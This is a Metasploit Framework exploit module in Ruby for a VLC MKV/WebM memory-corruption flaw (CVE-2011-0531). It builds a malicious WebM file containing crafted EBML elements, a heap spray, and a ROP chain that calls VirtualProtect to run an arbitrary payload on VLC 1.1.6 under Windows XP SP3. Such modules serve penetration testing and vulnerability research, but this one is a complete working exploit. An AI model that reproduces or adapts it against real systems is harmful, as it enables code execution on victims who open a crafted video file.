1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 |
## # $Id: vlc_webm.rb 11725 2011-02-08 18:22:36Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VideoLAN VLC MKV Memory Corruption', 'Description'=> %q{ This module exploits an input validation error in VideoLAN VLC < 1.1.7.By creating a malicious MKV or WebM file, a remote attacker could execute arbitrary code. NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to permanently enable NX support on machines that support it. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Dan Rosenberg' ], 'Version'=> '$Revision: 11725 $', 'References' => [ [ 'OSVDB', '70698' ], [ 'CVE', '2011-0531' ], [ 'BID', '46060' ], [ 'URL', 'http://git.videolan.org/?p=vlc.git&a=commitdiff&h=59491dcedffbf97612d2c572943b56ee4289dd07&hp=f085cfc1c95b922e3c750ee93ec58c3f2d5f7456' ], [ 'URL', 'http://www.videolan.org/security/sa1102.html' ] ], 'Payload'=> { 'Space' => 1024, 'DisableNops' => true, }, 'Platform' => 'win', 'Targets'=> [ [ 'VLC 1.1.6 on Windows XP SP3', { 'SprayTarget' => 0x030b030a, 'Ret' => 0x6ce091b5, # Pointer to SprayTarget 'Base' => 0x6cd00000, # Base of libtaglib_plugin.dll } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jan 31, 2011', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.webm']), ], self.class) end def exploit rop_base = target["Base"] spray = target["SprayTarget"] # EBML Header file ="\x1A\x45\xDF\xA3" # EBML file << "\x01\x00\x00\x00" file << "\x00\x00\x00\x1F" file << "\x42\x86\x81\x01" # EBMLVersion = 1 file << "\x42\xF7\x81\x01" # EBMLReadVersion = 1 file << "\x42\xF2\x81\x04" # EBMLMaxIDLength = 4 file << "\x42\xF3\x81\x08" # EBMLMaxSizeLength = 8 file << "\x42\x82\x84\x77" # DocType = "webm" file << "\x65\x62\x6D" file << "\x42\x87\x81\x02" # DocTypeVersion = 2 file << "\x42\x85\x81\x02" # DocTypeReadVersion = 2 # Segment data file << "\x18\x53\x80\x67" # (0) Segment file << "\x01\x00\x00\x00" file << "\x01\xD6\x22\xF1" # Seek data file << "\x11\x4D\x9B\x74" # (1) SeekHead file << "\x40\x3F" file << "\x4D\xBB\x8B" # (2) Seek file << "\x53\xAB\x84" # (3) SeekID = Segment Info file << "\x15\x49\xA9\x66" # file << "\x53\xAC\x81" # (3) SeekPosition file << "\xff" # index of segment info # Trigger the bug with an out-of-order element file << "\x53\xAB\x84" # (3) SeekID = Tracks file << "\x16\x54\xAE\x6B" # file << "\x42" * 228 # Padding # Data file << "\x15\x49\xA9\x66" # (1) Segment Info file << "\x01\x00\x00\x00" # file << "\x01\xff\xff\xff" # This triggers our heap spray... file << [target.ret].pack('V') # Pointer to our heap spray # The alignment plays nice, so EIP will always # hit our pivot when our heapspray works.ESI contains # 0x030b030a, which will point to one of our "pop; retn" # pointers, so this works as both a pivot and NOPsled block = [ rop_base + 0x229a5, # xcgh esi,esp; retn rop_base + 0x2c283, # pop eax; retn 0xdeadbeef, # pad rop_base + 0x2c283, # pop eax; retn ] block = block.pack('V*') # ROP payload rop = [ rop_base + 0x1022, # retn # Call VirtualProtect() rop_base + 0x2c283, # pop eax; retn rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax rop_base + 0x12fda, # mov eax,DWORD PTR [eax] rop_base + 0x29d13, # jmp eax rop_base + 0x1022, # retn spray & ~0xfff, # lpAddress 0x60000, # dwSize 0x40, # flNewProtect spray - 0x1000, # lpfOldProtect # Enough of this ROP business... rop_base + 0xdace8# push esp; retn ] rop = rop.pack('V*') # Overwrite the bad pointer with the address of an infinite # loop so the other threads spin instead of crashing rop << "\xc7\x05" rop << [spray + 0xc].pack('V') rop << [rop_base + 0x1c070].pack('V') # mov DWORD PTR ds:[ptr],&loop # Restore the stack rop << "\x87\xe6" # xchg esi,esp # Payload rop << payload.encoded # We need to be 16-byte aligned rop << "\xcc" * (16 - rop.length % 16) # Heapspray and payload, go! 32.times { 0x3000.times { file << block } file << rop } print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(file) end end |